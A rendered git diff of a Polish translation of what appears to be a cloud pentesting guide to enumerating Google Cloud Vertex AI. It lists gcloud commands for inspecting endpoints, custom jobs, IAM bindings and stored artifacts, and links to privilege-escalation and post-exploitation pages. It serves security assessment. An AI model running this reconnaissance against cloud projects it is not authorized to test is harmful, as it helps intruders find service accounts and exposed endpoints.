- **Container images** są przechowywane w **Artifact Registry** lub Container Registry
|
||||
- **Logs** są wysyłane do **Cloud Logging**
|
||||
- **Metrics** są wysyłane do **Cloud Monitoring**
|
||||
|
||||
### Szyfrowanie
|
||||
### Encryption
|
||||
|
||||
Domyślnie Vertex AI używa **Google-managed encryption keys**. Możesz również skonfigurować:
|
||||
|
||||
- **Customer-managed encryption keys (CMEK)** z Cloud KMS
|
||||
- Szyfrowanie ma zastosowanie do artefaktów modeli, danych treningowych i punktów końcowych
|
||||
- Szyfrowanie obejmuje model artifacts, training data i endpoints
|
||||
|
||||
### Sieć
|
||||
### Networking
|
||||
|
||||
Zasoby Vertex AI można skonfigurować dla:
|
||||
|
||||
- **Publicznego dostępu do internetu** (domyślnie)
|
||||
- **Public internet access** (domyślnie)
|
||||
- **VPC peering** dla prywatnego dostępu
|
||||
- **Private Service Connect** dla bezpiecznej łączności
|
||||
- Wsparcia **Shared VPC**
|
||||
@@ -183,7 +191,7 @@ gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(dep
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### Informacje o Custom Job
|
||||
### Informacje o niestandardowym zadaniu
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
@@ -215,7 +223,7 @@ gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### Przechowywanie i Artefakty
|
||||
### Przechowywanie i artefakty
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
@@ -241,14 +249,20 @@ gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Eskalacja uprawnień
|
||||
### Privilege Escalation
|
||||
|
||||
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień Vertex AI, aby uzyskać wyższe uprawnienia**:
|
||||
Na poniższej stronie możesz sprawdzić, jak **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Źródła
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
|
||||
Reference in New Issue
Block a user